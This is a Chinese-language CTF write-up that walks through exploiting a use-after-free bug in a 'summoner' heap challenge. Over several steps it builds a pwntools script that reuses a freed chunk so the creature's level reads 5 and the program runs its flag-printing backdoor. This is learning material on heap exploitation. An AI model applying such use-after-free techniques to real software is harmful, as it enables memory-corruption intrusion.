0x1
最近忙于堆的学习,在师傅们的指导下,对堆有了一知半解,找了一个网上的UAF题目来练手。
题目链接:https://www.bilibili.com/video/BV1iE411H7cZ
(再次感谢大佬发布的教学视频)
先检查一下程序:
发现保护全开。64位,反编译之后发现:
在main函数中看到后门函数cat flag,但是条件是变量值为5。
运行一下:
大概意思是程序可以生成一个creature【堆】,里面包含姓名和等级两个参数数据,并且可以通过输入命令来改变这些变量:
After you climb over the snow mountain, you encounter an evil summoner!
He summoned "The Dark Lord" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!
What's your plan for now???
Available plans:
show - show your creature and its level
summon [name] - summon a creature called [name]
level-up [level] - level up your creature (below Level 5)
strike - STRIKE the evil summoner's creature!!!
release - release your creature
quit - give up and die
然后只要达到level5,就能cat flag。
但是程序本身不允许level-up 5指令生效。
**
0x2
漏洞原因:在release指令中,如果释放掉一个仅仅释放堆中的内容,而不是释放堆指针,则会造成只释放了堆数据,我们还可以通过堆溢出复写该指针指向的数据,从而覆盖恶意代码,达到getshell。
free之后,只把原来的内容置null,没有将原指针置null!
free执行之后,数据还位于原来的地方,没有改变
(UAF不区分bins,不管在fastbin还是unsortedbin,都会产生use after free现象)
思路:
1.将堆中level等级变量置为5
2.将原来的结构体指针申请回来
首先,申请一个堆块,name为aaaa:
from pwn import *
p=process('./summoner')
def dbg():
gdb.attach(p)
pause()
sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaa')
dbg()
观察堆空间变化:
可以发现:在0x5624b5d81040处出现注入的0x61616161,即该位置存放name值。
再次编写脚本,发送level等级的创建:
from pwn import *
p=process('./summoner')
def dbg():
gdb.attach(p)
pause()
sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaa')
sla('> ','level-up 4')
#
dbg()
发现在top_chunk中存放着name的地址以及等级的内容,我们可以推断该程序结构体构成:
struct{
char *name;
int level;
}
从而,我们可以通过堆溢出,修改等级,修改level等级,从而实现getshell。
具体实现:
from pwn import *
p=process('./summoner')
def dbg():
gdb.attach(p)
pause()
sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
#
dbg()
从而,也能看出:即使free掉了*ptr,但是只free了name值,level等级依然存在于堆中。
我们再次申请一个堆块,可以发现,由于UAF机制,释放掉的堆会直接被再次当作一个新堆块被申请,实现如下payload:
from pwn import *
p=process('./summoner')
def dbg():
gdb.attach(p)
pause()
sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
sla('> ','summon bb')
#sla('> ','strike')
dbg()
这里我们可以发现:等级被覆盖成了level-5.
输入strike指令,即可满足题目*(ptr+2)>=5,实现getshell:
from pwn import *
p=process('./summoner')
def dbg():
gdb.attach(p)
pause()
sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
sla('> ','summon bb')
sla('> ','strike')
dbg()
运行结果:
这里我本地没有建这个flag文件,师傅们将就看,,但是确实执行了system("/bin/cat /pwn/flag")。